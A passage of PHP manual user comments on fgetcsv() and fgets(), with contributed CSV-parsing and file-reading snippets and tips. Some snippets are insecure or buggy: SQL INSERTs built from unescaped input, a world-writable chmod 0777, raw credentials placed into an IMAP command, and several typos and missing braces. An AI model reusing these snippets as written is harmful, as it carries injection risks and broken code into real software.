    $i = $line = 0;
    $del = false;
    while($i < $n)
    {
        $part = substr($buffer, $i);

        if(
            (substr($part, 0, 1) == ';' && !$del) ||
            (substr($part, 0, 2) == '";' && $del)
        )
        {
            $i ++;
            if($del)
            {
                $str = substr($str, 1, strlen($str) - 1);
                $i ++;
            }
            $data[$line][] = $str;
            $del = false;
            $str = '';
        } else if(substr($part, 0, 2) == "\r\n")
        {
            $data[$line][] = $str;
            $str = '';
            $del = false;
            $line ++;
            $i += 2;
        } else
        {
            if($part[0] == '"')
                $del = true;
            $str .= $part[0];
            $i ++;
        }
    }
    return $data;
}
daniel at softel dot jp 08-Mar-2006 07:03
Note that fgetcsv() uses the system locale setting to make assumptions about character encoding.
So if you are trying to process a UTF-8 CSV file on an EUC-JP server (for example),
you will need to do something like this before you call fgetcsv():

setlocale(LC_ALL, 'ja_JP.UTF8');

[Also not that setlocale() doesn't *permanently* affect the system locale setting]
02-Mar-2006 06:16
For those of you who need to get CSV data from a single line of quoted CSV (comma delimited) values (that may have commas in the data), use this:

<?php
function csv_string_to_array($str){
   $expr="/,(?=(?:[^\"]*\"[^\"]*\")*(?![^\"]*\"))/";
    $results=preg_split($expr,trim($str));
    return preg_replace("/^\"(.*)\"$/","$1",$results);
}

$str=<<<EOF
"testing, stuff, here","is testing ok",200,456
EOF;

print_r(csv_string_to_array($str));

?>
abu1980 at yahoo dot com 28-Feb-2006 09:18
I was using the function to import a csv file that had some values with "\" included this confused the import function to ignore the End of line and hence an incorrect number of rows is returned to me.

Suggest you try to replace that \ and { brackets as well since they have the same function of an escape character before u import the function

thanks
27-Feb-2006 03:05
beware of characters of binary value == 0, as they seem to make fgetcsv ignore the remaining part of a line where they appear.

Maybe this is normal under some convention I don't know, but a file exported from Excel had those as values for some cells *sometimes*, thus fgetcsv return variable cell counts for different lines.

i'm using php 4.3
donnoman at donovanbray dot com 22-Nov-2005 07:48
<?php
/**
 * Based on an example by ramdac at ramdac dot org
 * Returns a multi-dimensional array from a CSV file optionally using the
 * first row as a header to create the underlying data as associative arrays.
 * @param string $file Filepath including filename
 * @param bool $head Use first row as header.
 * @param string $delim Specify a delimiter other than a comma.
 * @param int $len Line length to be passed to fgetcsv
 * @return array or false on failure to retrieve any rows.
 */
function importcsv($file,$head=false,$delim=",",$len=1000) {
    $return = false;
    $handle = fopen($file, "r");
    if ($head) {
        $header = fgetcsv($handle, $len, $delim);
    }
    while (($data = fgetcsv($handle, $len, $delim)) !== FALSE) {
        if ($head AND isset($header)) {
            foreach ($header as $key=>$heading) {
                $row[$heading]=(isset($data[$key])) ? $data[$key] : '';
            }
            $return[]=$row;
        } else {
            $return[]=$data;
        }
    }
    fclose($handle);
    return $return;
}
?>
tokai at binaryriot dot com 07-Nov-2005 02:18
Newer PHP versions handle cvs files slightly different than older versions.

"Max Mustermann"|"Muster Road 34b"|"Berlin"    |"Germany"
"Sophie Master" |"Riverstreet"    |"Washington"|"USA"

The extra spaces behind a few fields in the example (which are useful, when you manually manage a small csv database to align the columns) were ignored by fgetcsv from PHP 4.3. With the new 4.4.1 release they get appended to the string, so you end up with "Riverstreet    " instead the expected "Riverstreet".

Easy workaround is to just trim all fields after reading them in.

<?php
while ( $data = fgetcsv($database, 32768, "|") )
{
    $i = 0;

    while(isset($data[$i]))
    {
        $data[$i] = rtrim($data[$i]);
        $i++;
    }

    // ....
}
?>
junk at vhd dot com dot au 24-Oct-2005 09:52
The fgetcsv function seems to follow the MS excel conventions, which means:

- The quoting character is escaped by itself and not the back slash.
(i.e.Let's use the double quote (") as the quoting character:

   Two double quotes  "" will give a single " once parsed, if they are inside a quoted field (otherwise neither of them will be removed).

   \" will give \" whether it is in a quoted field or not (same for \\) , and

   if a single double quote is inside a quoted field it will be removed. If it is not inside a quoted field it will stay).

- leading and trailing spaces (\s or \t) are never removed, regardless of whether they are in quoted fields or not.

- Line breaks within fields are dealt with correctly if they are in quoted fields. (So previous comments stating the opposite are wrong, unless they are using a different PHP version.... I am using 4.4.0.)

So fgetcsv if actually very complete and can deal with every possible situation. (It does need help for macintosh line breaks though, as mentioned in the help files.)

I wish I knew all this from the start. From my own benchmarks fgetcsv strikes a very good compromise between memory consumption and speed.

-------------------------
Note: If back slashes are used to escape quotes they can easily be removed afterwards. Same for leading and trailing spaces.
mortanon at gmail dot com 14-Oct-2005 08:05
Hier is an example for a CSV Iterator.

<?php
class CsvIterator implements Iterator
{
    const ROW_SIZE = 4096;
    /**
     * The pointer to the cvs file.
     * @var resource
     * @access private
     */
    private $filePointer = null;
    /**
     * The current element, which will
     * be returned on each iteration.
     * @var array
     * @access private
     */
    private $currentElement = null;
    /**
     * The row counter.
     * @var int
     * @access private
     */
    private $rowCounter = null;
    /**
     * The delimiter for the csv file.
     * @var str
     * @access private
     */
    private $delimiter = null;

    /**
     * This is the constructor.It try to open the csv file.The method throws an exception
     * on failure.
     *
     * @access public
     * @param str $file The csv file.
     * @param str $delimiter The delimiter.
     *
     * @throws Exception
     */
    public function __construct($file, $delimiter=',')
    {
        try {
            $this->filePointer = fopen($file, 'r');
            $this->delimiter = $delimiter;
        }
        catch (Exception $e) {
            throw new Exception('The file "'.$file.'" cannot be read.');
        }
    }

    /**
     * This method resets the file pointer.
     *
     * @access public
     */
    public function rewind() {
        $this->rowCounter = 0;
        rewind($this->filePointer);
    }

    /**
     * This method returns the current csv row as a 2 dimensional array
     *
     * @access public
     * @return array The current csv row as a 2 dimensional array
     */
    public function current() {
        $this->currentElement = fgetcsv($this->filePointer, self::ROW_SIZE, $this->delimiter);
        $this->rowCounter++;
        return $this->currentElement;
    }

    /**
     * This method returns the current row number.
     *
     * @access public
     * @return int The current row number
     */
    public function key() {
        return $this->rowCounter;
    }

    /**
     * This method checks if the end of file is reached.
     *
     * @access public
     * @return boolean Returns true on EOF reached, false otherwise.
     */
    public function next() {
        return !feof($this->filePointer);
    }

    /**
     * This method checks if the next row is a valid row.
     *
     * @access public
     * @return boolean If the next row is a valid row.
     */
    public function valid() {
        if (!$this->next()) {
            fclose($this->filePointer);
            return false;
        }
        return true;
    }
}
?>

Usage :

<?php
$csvIterator = new CsvIterator('/path/to/csvfile.csv');
foreach ($csvIterator as $row => $data) {
    // do somthing with $data
}
?>
Bart 17-Jun-2005 04:08
The file function reads the file in an array with the EOL still attached, so the +1 is not necessary.
aidan at php dot net 01-Jul-2004 06:47
If you're looking to parse CSV files but find fgetcvs insufficient, check out http://pear.php.net/package/File
jc at goetc dot net 16-Jun-2004 08:51
I've had alot of projects recently dealing with csv files, so I created the following class to read a csv file and return an array of arrays with the column names as keys. The only requirement is that the 1st row contain the column headings.

I only wrote it today, so I'll probably expand on it in the near future.

<?php
class CSVparse
  {
  var $mappings = array();

  function parse_file($filename)
    {
    $id = fopen($filename, "r"); //open the file
    $data = fgetcsv($id, filesize($filename)); /*This will get us the */
                                               /*main column names */

    if(!$this->mappings)
       $this->mappings = $data;

    while($data = fgetcsv($id, filesize($filename)))
        {
         if($data[0])
           {
            foreach($data as $key => $value)
               $converted_data[$this->mappings[$key]] = addslashes($value);
            $table[] = $converted_data; /* put each line into */
             }                                 /* its own entry in    */
         }                                     /* the $table array    */
    fclose($id); //close file
    return $table;
    }
  }
?>
dawa at did-it dot com 12-Apr-2004 12:30
The following modification will hide the unnecessary delimiter in the array
that is returned when fgetcsvfromline is called.

<?php
function fgetcsvfromline ($line, $columnCount, $delimiterChar = ',',
                $enclosureChar = '"') {
        global $regExpSpecialChars;
        $matches = array();
        $delimiterChar = strtr($delimiterChar, $regExpSpecialChars);
        $enclosureChar = strtr($enclosureChar, $regExpSpecialChars);
        $cutpoint = strlen($delimiterChar)+1;
        $regExp = "/^";
        for ($i = 0; $i < $columnCount; $i++) {
                $regExp .= $enclosureChar.'?(.*?)'.$enclosureChar.'?'.$delimiterChar;
        }
        $regExp = substr($regExp,0,-$cutpoint).'/';
        if (preg_match($regExp, $line, $matches)) {
                return $matches;
        }
        return 0;
}
?>

=== If you were getting
[0] => "Ma"rk","Bergeron","rocks","12345,"times"
[1] => "
[2] => Ma"rk
[3] => "
..etc

You will now get
 [0] => "Ma"rk","Bergeron","rocks","12345,"times"
 [1] => Ma"rk
...etc
Dave Meiners 04-Feb-2004 08:37
using the example above with a length of 1000 will truncate any csv rows longer than 1000 bytes, the remainder of that line will be represented next time you call $data = fgetcsv(). one solution i have seen to this is to use filesize("test.csv") as the length argument, however sometimes with large csv files you may encounter errors for exceeding the memory limit. to remedy this, i have read the csv file into an array, looping through that array to find the longest line in the csv, and then using that value as my length argument, unset($array) to free up the memory. im open to better solutions.

<?php

    $length = 1000;
    $array = file("test.csv");
    for($i=0;$i<count($array);$i++)
    {
        if ($length < strlen($array[$i]))
        {
            $length = strlen($array[$i]);
        }
    }
    unset($array);

    $handle = fopen("test.csv", "r");
    while ($data = fgetcsv($handle, $length, ","))
    {
        // do what you want with your array here.

    }
    fclose($handle);

?>
phpnet at smallfryhosting dot co dot uk 18-Sep-2003 09:42
Another version [modified michael from mediaconcepts]

<?php
  function arrayFromCSV($file, $hasFieldNames = false, $delimiter = ',', $enclosure='') {
    $result = Array();
    $size = filesize($file) +1;
    $file = fopen($file, 'r');
    #TO DO: There must be a better way of finding out the size of the longest row... until then
    if ($hasFieldNames) $keys = fgetcsv($file, $size, $delimiter, $enclosure);
    while ($row = fgetcsv($file, $size, $delimiter, $enclosure)) {
        $n = count($row); $res=array();
        for($i = 0; $i < $n; $i++) {
            $idx = ($hasFieldNames) ? $keys[$i] : $i;
            $res[$idx] = $row[i];
        }
        $result[] = $res;
    }
    fclose($file);
    return $result;
  }
?>
NOSPAM-michael at mediaconcepts dot nl 15-Sep-2003 07:45
A little contribution to make it more easy to use this function when working with a database. I noticed this function doesn't add logical keys to the array, so I made a small function which creates a 2dimensional array with the corresponding keys added to the rows.

<?php
// this function requires that the first line of your CSV file consists of the keys corresponding to the values of the other lines
function convertCSVtoAssocMArray($file, $delimiter)
{
    $result = Array();
    $size = filesize($file) +1;
    $file = fopen($file, 'r');
    $keys = fgetcsv($file, $size, $delimiter);
    while ($row = fgetcsv($file, $size, $delimiter))
    {
        for($i = 0; $i < count($row); $i++)
        {
            if(array_key_exists($i, $keys))
            {
                $row[$keys[$i]] = $row[$i];
            }
        }
        $result[] = $row;
    }
    fclose($file);
return $result;
}
?>
ng4rrjanbiah at rediffmail dot com 08-Sep-2003 03:02
Important note about the CSV format:
There should *not* be any space in between the fields. For example,
field1, field2, field3 [Wrong!]
field1,field2,field3 [Correct-No space between fields]

If you add space between the fields, MS Excel won't recognize the fields (especially date and multi-line text fields).

HTH,
R. Rajesh Jeba Anbiah
reptileX at example dot com 12-Aug-2003 12:57
beware of using this function in two different php versions,

in php 4.3 the 4th parameter can be given altough empty

in php 4.2 you get just a warning but it is not able to read the csv file if you place an enclosure that is empty
brian at brianvoss dot com 25-Jul-2003 03:55
If anyone else is taking on the task of converting from FileMaker Pro to MySQL, you might find this useful:

Here's a collection of simple functions that take a CSV file, re-formats the data and writes to a file with MySQL INSERTs.

ORIGINAL DATA:

"1", "foo", "2"
"3", "bar", "4"

OUTPUT

INSERT info mysql_table VALUES('', '1', 'foo', '2');
INSERT info mysql_table VALUES('', '3', 'bar', '4');

For simple data it works alright, but I could not find a way to escape the contents before assembling the INSERT statements - kept getting "bad argument for implode()"...

<?php
/*************************************
*                  main              *
*************************************/

 $file = "path/to/your/file.txt";
 $tbl = "your_MySQL_table";

 $CSVarray = get_csv($file);
 $CSVarray = makeINSERTS($CSVarray, "$tbl");

 $filetowrite = $_POST["file"]."_sql.txt";
    $fp = fopen($filetowrite, "w");
    while (list($key, $val) = @each($CSVarray)) {
              fwrite($fp, $val);
 }
 fclose($fp);
 chmod($filetowrite, 0777);

 echo "File written Successfully";

}

/*************************************
*                  functions         *
*************************************/

// This function courtesy of drudge@phpcoders.net

function get_csv($filename, $delim =","){

    $row = 0;
    $dump = array();

    $f = fopen ($filename,"r");
    $size = filesize($filename)+1;
    while ($data = fgetcsv($f, $size, $delim)) {
        $dump[$row] = $data;
        //echo $data[1]."<br>";
        $row++;
    }
    fclose ($f);

    return $dump;
}

function makeINSERT($text, $table){

    $insert = array();
    $i = 0;

    while (list($key, $val) = @each($text)){

// We'll start off the INSERT with '', for an
//     auto-incremented key.  Remove if not needed.

            $insert[$i] = "INSERT into ".$table." VALUES('','";
            $insert[$i] .= implode("','", $val);
            $insert[$i] .= "');\n";

            $i++;
        }

    return $insert;

}
?>
kurtnorgaz at web dot de 21-Jul-2003 12:00
You should pay attention to the fact that "fgetcsv" does remove leading TAB-chars "chr(9)" while reading the file.

This means if you have a chr(9) as the first char in the file and you use fgetcsv this char is automaticaly deleted.

Example:
file content:
chr(9)first#second#third#fourth

source:
<?php $line = fgetcsv($handle,500,"#"); ?>

The array $line looks like:
$line[0] = first
$line[1] = second
$line[2] = third
$line[3] = fourth

and not
$line[0] = chr(9)first
$line[1] = second
$line[2] = third
$line[3] = fourth

All chr(9) after another char is not deleted!

Example:
file content:
Achr(9)first#second#third#fourth

source:
<?php $line = fgetcsv($handle,500,"#"); ?>

The array $line looks like:
$line[0] = Achr(9)first
$line[1] = second
$line[2] = third
$line[3] = fourth
anthony dot thomas at nospam dot com 06-Dec-2002 09:29
fgetcsv stops reading your file?

I had to write a script to validate and import a large amount of data to MySQL and it would stop running. I've noticed, after trawling the internet for a solution, quite a few people have had similar problems.

Solution? Like a dope I had forgotten to put in
set_time_limit()
within a loop. Otherwise the script would time out before it finished importing all the data.

Moral of the story? Only suppress errors after your script works with a large amount of test data!
php at dogpoop dot cjb dot net 15-Nov-2002 08:01
This function takes a csv line and splits it into an array, much like fgetcsv does but you can use it on data that isn't coming in from a file, or you can read data from a file some other way (like if your Mac files aren't being read correctly) and use this to split it.  If you have any corrections, comments (good or bad), etc. I would appreciate an email to the above address.

<?php
function csv_split($line,$delim=',',$removeQuotes=true) {
#$line: the csv line to be split
#$delim: the delimiter to split by
#$removeQuotes: if this is false, the quotation marks won't be removed from the fields
    $fields = array();
    $fldCount = 0;
    $inQuotes = false;
    for ($i = 0; $i < strlen($line); $i++) {
        if (!isset($fields[$fldCount])) $fields[$fldCount] = "";
        $tmp = substr($line,$i,strlen($delim));
        if ($tmp === $delim && !$inQuotes) {
            $fldCount++;
            $i += strlen($delim)-1;
        } else if ($fields[$fldCount] == "" && $line[$i] == '"' && !$inQuotes) {
            if (!$removeQuotes) $fields[$fldCount] .= $line[$i];
            $inQuotes = true;
        } else if ($line[$i] == '"') {
            if ($line[$i+1] == '"') {
                $i++;
                $fields[$fldCount] .= $line[$i];
            } else {
                if (!$removeQuotes) $fields[$fldCount] .= $line[$i];
                $inQuotes = false;
            }
        } else {
            $fields[$fldCount] .= $line[$i];
        }
    }
    return $fields;
}
?>
c dot greenNOSP at Mits dot uq dot edu dot au 23-Jun-2002 08:21
Quoting csv is pretty simple, and there are two steps..I note in previous comments only the second step has been explained.

First fields with double quotes need to double up the quotes, ie _He said "Timmy"..._ should become _He said ""Timmy""..._
Secondly as mentioned above, fields with commas need double quotes.

Here is a simple function to achieve this, that I pass to array walk, if you want to use it somewhere else, prob get rid of reference and return the value.

<?php
function check_csv_field_ref(&$item) {
   $item = str_replace('"', '""', $item);
   if (strpos($item, ",") !== FALSE) {
     $item = '"' . $item . '"';
   }
}
?>
joeldegan-AT-yahoo.com 12-Jun-2002 01:01
function to parse multi arrays into csv data
array in... array of array(datasets); first dataset = field names.
usage:
$toparse[0][0] = "field1";
$toparse[0][1] = "field2";
$toparse[1][0] = "value1";
$toparse[1][1] = "123123123"; // to see
echo export_to_csv($toparse);

<?php
function export_to_csv($inarray){
      while (list ($key1, $val1) = each ($inarray)) {
        while (list ($key, $val) = each ($val1)) {
          if (is_numeric($val)){
        $sendback .= $val.",";
           }else{
            $sendback .= "\"". $val ."\",";
          }//fi
        }//wend
        $sendback = substr($sendback, 0, -1); //chop last ,
        $sendback .= "\n";
      }//wend
    return ($sendback);
}// end function
?>

send the file to the client.. pretty simple.
usage: send_file_to_client("data.csv",export_to_csv($data));

<?php
function send_file_to_client($filename, $data){
    header("Content-type: application/ofx");
    header("Content-Disposition: attachment; filename=$filename");
    echo $data;
};
?>
blair at squiz . net 14-Aug-2001 07:19
Here is a function that takes an array and adds a CSV line to the passed file pointer.

<?php
function fputcsv ($fp, $array, $deliminator=",") {

  $line = "";
  foreach($array as $val) {
    # remove any windows new lines,
    # as they interfere with the parsing at the other end
    $val = str_replace("\r\n", "\n", $val);

    # if a deliminator char, a double quote char or a newline
    # are in the field, add quotes
    if(ereg("[$deliminator\"\n\r]", $val)) {
      $val = '"'.str_replace('"', '""', $val).'"';
    }#end if

    $line .= $val.$deliminator;

  }#end foreach

  # strip the last deliminator
  $line = substr($line, 0, (strlen($deliminator) * -1));
  # add the newline
  $line .= "\n";

  # we don't care if the file pointer is invalid,
  # let fputs take care of it
  return fputs($fp, $line);

}#end fputcsv()
?>

[EDIT BY danbrown AT php DOT net: A function named fputcsv(), performing a very similar action, was added to the core in PHP 5.1.0.]
fgetc
fgets
Filesystem Functions


Gets line from file pointer

fgetcsv
fgetss
Filesystem Functions
PHP Manual

fgets

(PHP 4, PHP 5)

fgets — Gets line from file pointer

Description

string fgets ( resource $handle [, int $length ] )

Gets a line from file pointer.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

length

Reading ends when length - 1 bytes have been read, on a newline (which is included in the return value), or on EOF (whichever comes first). If no length is specified, it will keep reading from the stream until it reaches the end of the line.

Note:

Until PHP 4.3.0, omitting it would assume 1024 as the line length. If the majority of the lines in the file are all larger than 8KB, it is more resource efficient for your script to specify the maximum line length.

Return Values

Returns a string of up to length - 1 bytes read from the file pointed to by handle. If there is no more data to read in the file pointer, then FALSE is returned.

If an error occurs, FALSE is returned.

Changelog

Version | Description
4.3.0 | fgets() is now binary safe
4.2.0 | The length parameter became optional

Examples

Example #1 Reading a file line by line

<?php
$handle = @fopen("/tmp/inputfile.txt", "r");
if ($handle) {
    while (($buffer = fgets($handle, 4096)) !== false) {
        echo $buffer;
    }
    if (!feof($handle)) {
        echo "Error: unexpected fgets() fail\n";
    }
    fclose($handle);
}
?>

Notes

Note: If PHP is not properly recognizing the line endings when reading files either on or created by a Macintosh computer, enabling the auto_detect_line_endings run-time configuration option may help resolve the problem.

Note:

People used to the 'C' semantics of fgets() should note the difference in how EOF is returned.

See Also

  • fgetss() - Gets line from file pointer and strip HTML tags
  • fread() - Binary-safe file read
  • fgetc() - Gets character from file pointer
  • stream_get_line() - Gets line from stream resource up to a given delimiter
  • fopen() - Opens file or URL
  • popen() - Opens process file pointer
  • fsockopen() - Open Internet or Unix domain socket connection
  • stream_set_timeout() - Set timeout period on a stream

User Contributed Notes

hgs at cs dot columbia dot edu 20-Jan-2011 04:42
There seems to be an interaction between sockets and the auto_detect_line_endings setting that can cause rather peculiar behavior. Apparently, if the first line read from a socket is split across two TCP packets, the detector will look at the first TCP packet and determine that the system uses MacOS (\r) line endings, even though the LF is contained in the next packet. For example, this affected the PEAR Net_SMTP package, which would fail mysteriously for only some email servers.
rembert at floating-point dot nl 10-Dec-2010 07:39
To have fgets get data from a (for instance binary) string this might be of help:

<?php
$data = "the string data\nyou wish\nto parse";
$fp = fopen('data:text/plain,'. $data,'rb');
while ( ($line = fgets($fp)) !== false) {
  echo "$line<br>";
}
?>
lzsiga at freemail.c3.hu 04-Jun-2010 11:32
Some people try to call feof before fgets, and then ignoring the return value of fgets. This method leads to processing value FALSE when reaching the end of file.

Bad example:
<?php
    $f = fopen ("fgetstest.php", "r");
    $ln= 0;
    while (! feof ($f)) {
        $line= fgets ($f);
        ++$ln;
        printf ("%2d: ", $ln);
        if ($line===FALSE) print ("FALSE\n");
        else print ($line);
    }
    fclose ($f);
?>

Good example:
<?php
    $f = fopen ("fgetstest.php", "r");
    $ln= 0;
    while ($line= fgets ($f)) {
        ++$ln;
        printf ("%2d: ", $ln);
        if ($line===FALSE) print ("FALSE\n");
        else print ($line);
    }
    fclose ($f);
?>
afwxkat at gmail dot com 22-Jul-2009 05:07
One thing I discovered with fgets, at least with PHP 5.1.6, is that you may have to use an IF statement to avoid your code running rampant (and possibly hanging the server).  This can cause problems if you do not have root access on the server on which you are working.

This is the code I have implemented ($F1 is an array):

<?php
   if($fh = fopen("filename","r")){
      while (!feof($fh)){
         $F1[] = fgets($fh,9999);
      }
      fclose($fh);
    }
?>

I have noticed that without the IF statement, fgets seems to ignore when $fh is undefined (i.e., "filename" does not exist).  If that happens, it will keep attempting to read from a nonexistent filehandle until the process can be administratively killed or the server hangs, whichever comes first.
bens at effortlessis dot com 20-Jul-2009 10:49
As I noted in a comment on stream_get_line() page, fgets is *not* necessarily slower than stream_get_line(). In my case, it's actually ~2.5 times slower. (25 seconds vs 10 seconds)

Also, stream_get_line() doesn't return the limiter. Since you pass both a maximum string length, you have no way of knowing whether or not the limiter was present in the original file, other than the 1 in 1024 chance that the line (with limiter) is exactly 1024 characters long, and appending the limiter (EG: "\n") in the case where the line is less than 1024 chars.

This latter bit compromises data integrity, stream_get_line() should probably not be used for all but very special cases.
fm 19-Mar-2009 03:30
Here my solution for the \" problem [in CSV files.  This function uses fgets(), not fgetcsv().]

<?php

define("CSV_Start",    0);
define("CSV_Quoted",   1);
define("CSV_Quoted2",  2);
define("CSV_Unquoted", 3);

function readCSV($fh, $len, $delimiter = ',', $enclosure = '"') {
    $data = Array();
    $fildNr = 0;
    $state = CSV_Start;

    $data[0] = "";

    do {
        $line = fgets($fh, $len);
        for ($ix = 0; $ix < strlen($line); $ix++) {
            if ($line[$ix] == $delimiter) {
                if ($state != CSV_Quoted) {
                    $fildNr++;
                    $data[$fildNr] = "";
                    $state = CSV_Start;
                } else {
                    $data[$fildNr] .= $line[$ix];
                }
            } elseif ($line[$ix] == $enclosure) {
                if ($state == CSV_Start) {
                    $state = CSV_Quoted;
                } elseif ($state == CSV_Quoted) {
                    $state = CSV_Quoted2;
                } elseif ($state == CSV_Quoted2) {
                    $data[$fildNr] .= $line[$ix];
                    $state = CSV_Quoted;
                } else {
                    $data[$fildNr] .= $line[$ix];
                }
            } else {
                $data[$fildNr] .= $line[$ix];
                if ($state == CSV_Quoted2) {
                    echo "error";
                } elseif ($state == CSV_Start) {
                    $state = CSV_Unquoted;
                }
            }
        }
    } while ($state == CSV_Quoted);

    return $data;
}

?>
rahil123 at gmail dot com 23-Jan-2009 04:01
As fgets uses char(10) LF as separator instead of ch(13) CF is caused me problem in using the read value(e.g. "XYZ\n"  in system() command(e.g. system("XYZ\n option") was  interpreted as only system("XYZ") due to \n). \n would have to striped out first.
Leigh Purdie 12-Oct-2008 11:14
For large files, consider using stream_get_line rather than fgets - it can make a significant difference.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m1.482s
user    0m1.616s
sys    0m0.152s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m7.281s
user    0m7.392s
sys    0m0.136s
soapergem at gmail dot com 30-Jul-2008 11:49
I ran into an issue that took me forever to finally figure out today, and I wanted to post my findings here in case anyone else ever runs into the same thing. I had tried to open a connection using fsockopen to my own server, send some data with fwrite, and then read the response with fgets. The data I sent over included the session ID, which was to be loaded by the page receiving it. Keep in mind that both the sender and receiver URLs were on my same server, and both tried to use the same session ID.

I found that I could do the fwrite part just fine, but that fgets would lock up indefinitely, ignoring any timeout I had set with fsockopen (but thankfully still obeying the max_execution_time limit).

The problem was that while the sending page was trying to do the fgets, it still had the session open. But the receiving page needed session data before it was willing to output anything, thereby creating a deadlock.

The solution I found was to call session_write_close() just prior to sending the request in the sender page, thereby granting access for the receiver to open up the session variables it needed.
julian dot chappell at NOSPAM dot btopenworld dot com 25-Jun-2008 08:14
Reply to Jerem's note. fgets terminating on chr(10) is correct.

For the sake of you youngsters who have never heard of such things, the protocol for the CRLF pair dates back to the days where the input/output with computers was on teletype machines. A sort of glorified typewriter.

chr(13) is a carriage return (CR), a command which physically moved the type head to the home position and chr(10) is a line feed (LF), which moved the paper up a line.

The standard order in which these were used was CRLF - chr(13)/chr(10) - and both were needed for a line break. Use a CR chr(13) on its own and you would overwrite the beginning of the same line. (Incidentally, this was how bold type was done - print the same thing in the same place twice!). Use LF chr(10) on its own and you would continue printing at the current position across the page but dropped down a line. (Because the paper would move up but the print head remain where it is).

Usage of this protocol has become somewhat sloppy and ill-defined these days for both printers and monitors. Some applications expect a line feed chr(10) on its own and simply assume a carriage return, others still use both but often without observing their distinctly separate functions. So much so that it may sometimes appear that they both do more or less the same thing, you only need one of them, and which to use is purely a matter of personal choice. Wrong on all counts!

fgets terminating on a LF chr(10) is correct as it ensures that the preceding CR chr(13) is included in the line if it is present - and doesn't matter if it isn't. If fgets ever terminated on CR chr(13) as jerem suggests more often than not there would be a LF at the beginning of the next line read.

The prefered use of chr(13) alone as a line break is risky. You might get away with it using your own applications and current printer, but if your file is for general release other people would see the entire output of your file printed on the same line if they use applications that interpret the CRLF pair more correctly. Not what you intended!
jerem-NoSpam-ified at live dot com 17-Apr-2008 08:22
It's worth noting that this function only assumes chr(10) as a line break, but not chr(13). Personally, I prefer using chr(13) as a line break.
Daniel Klein 25-Jan-2008 08:47
The file pointer that fgets() uses can also be created with the proc_open() function and used with the stdout pipe created from the executed process.
david_sitller at blackbit dot de 24-Oct-2007 05:32
If you use the example from the command-description, i recommend to trim the $buffer for further use. The line feed ist still at the end of the line. I saw this when using PHP CLI.

Like this, checking a file-list for existing entries:

$handle = fopen ("/tmp/files.txt", "r");
while (!feof($handle)) {
    $buffer = fgets($handle, 4096);
    if (file_exists(rtrim($filename,"\n"))) {
        echo $buffer;
    } else {
        echo $buffer." has been removed."
}
fclose ($handle);
anacreo has gmail 18-Sep-2007 02:15
I'm using this function to modify the header of a large postscript document on copy...  Works extremely quickly so far...

function write($filename) {
     $fh = fopen($this->sourceps,'r');
     $fw = fopen($filename,'w');

     while (!feof($fh)) {
       $buffer = fgets($fh);
       fwrite($fw,$buffer);
       if (!$setupfound && ereg("^%%BeginSetup",$buffer)) {
         $setupfound++;
         if (array_key_exists("$filename",$this->output)) {
           foreach ($this->output[$filename] as $function => $value) {
             fwrite($fw,$value);
           }
         }
         stream_copy_to_stream($fh,$fw);
       }
     }
     fclose($fw);
     fclose($fh);
   }
Peter Schlaile 21-Aug-2007 11:36
fscanf($file, "%s\n") isn't really a good substitution for fgets(), since it will stop parsing at the first whitespace and not at the end of line!

(See the fscanf page for details on this)
David at Weintraub.name 10-Jul-2007 02:23
There's an error in the documentation:

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

You should also add "popen" and "pclose" to the documentation. I'm a new PHP developer and went to verify that I could use "fgets" on commands that I used with "popen".
d at foo.com 13-Aug-2006 01:03
For sockets, If you dont want fgets, fgetc etc... to block if theres no data there. set socket_set_blocking(handle,false); and socket_set_blocking(handle,true); to set it back again.
svayn at yahoo dot com 14-Jul-2006 02:21
fgets is SLOW for scanning through large files. If you don't have PHP 5, use fscanf($file, "%s\n") instead.
sam dot bryan at montal dot com 23-May-2006 02:09
An easy way to authenticate Windows Domain users from scripts running on a non-Windows or non-Domain box - pass the submitted username and password to an IMAP service on a Windows machine.

<?php
$server = 'imapserver';
$user = 'user';
$pass = 'pass';

if (authIMAP($user, $pass, $server)) {
    echo "yay";
} else {
    echo "nay";
}

function authIMAP($user, $pass, $server) {
    $connection = fsockopen($server, 143, $errno, $errstr, 30);

    if(!$connection) return false;

    $output = fgets($connection, 128); // banner
    fputs($connection, "1 login $user $pass\r\n");
    $output = fgets($connection, 128);
    fputs($connection, "2 logout\r\n");
    fclose($connection);

    if (substr($output, 0, 4) == '1 OK') return true;

    return false;
}
?>
24-Mar-2006 09:36
Macintosh line endings mentioned in docs refer to Mac OS Classic. You don't need this setting for interoperability with unixish OS X.
tavernadelleidee[italy] 09-Mar-2006 03:44
I think that the quickest way of read a (long) file with the rows in  reverse order is

<?php
$myfile = 'myfile.txt';
$command = "tac $myfile > /tmp/myfilereversed.txt";
passthru($command);
$ic = 0;
$ic_max = 100;  // stops after this number of rows
$handle = fopen("/tmp/myfilereversed.txt", "r");
while (!feof($handle) && ++$ic<=$ic_max) {
   $buffer = fgets($handle, 4096);
   echo $buffer."<br>";
}
fclose($handle);
?>

It echos the rows while it is reading the file so it is good for long files like logs.

Borgonovo
ecvej 04-Jan-2006 01:20
I would have expected the same behaviour from these bits of code:-

<?php

/*This times out correctly*/
while (!feof($fp)) {
    echo fgets($fp);
}

/*This times out before eof*/
while ($line=fgets($fp)) {
    echo $line;
}

/*A reasonable fix is to set a long timeout*/
stream_set_timeout($fp, 180);
while ($line=fgets($fp)) {
    echo $line;
}
?>
hackajar <matt> yahoo <trot> com 05-Dec-2005 12:17
When working with VERY large files, php tends to fall over sideways and die.

Here is a neat way to pull chunks out of a file very fast and won't stop in mid line, but rater at end of last known line.  It pulled a 30+ million line 900meg file through in ~ 24 seconds.

NOTE:
$buf just hold current chunk of data to work with.  If you try "$buf .=" (note 'dot' in from of '=') to append $buff, script will come to grinding crawl around 100megs of data, so work with current data then move on!

//File to be opened
$file = "huge.file";
//Open file (DON'T USE a+ pointer will be wrong!)
$fp = fopen($file, 'r');
//Read 16meg chunks
$read = 16777216;
//\n Marker
$part = 0;

while(!feof($fp)) {
    $rbuf = fread($fp, $read);
    for($i=$read;$i > 0 || $n == chr(10);$i--) {
        $n=substr($rbuf, $i, 1);
        if($n == chr(10))break;
        //If we are at the end of the file, just grab the rest and stop loop
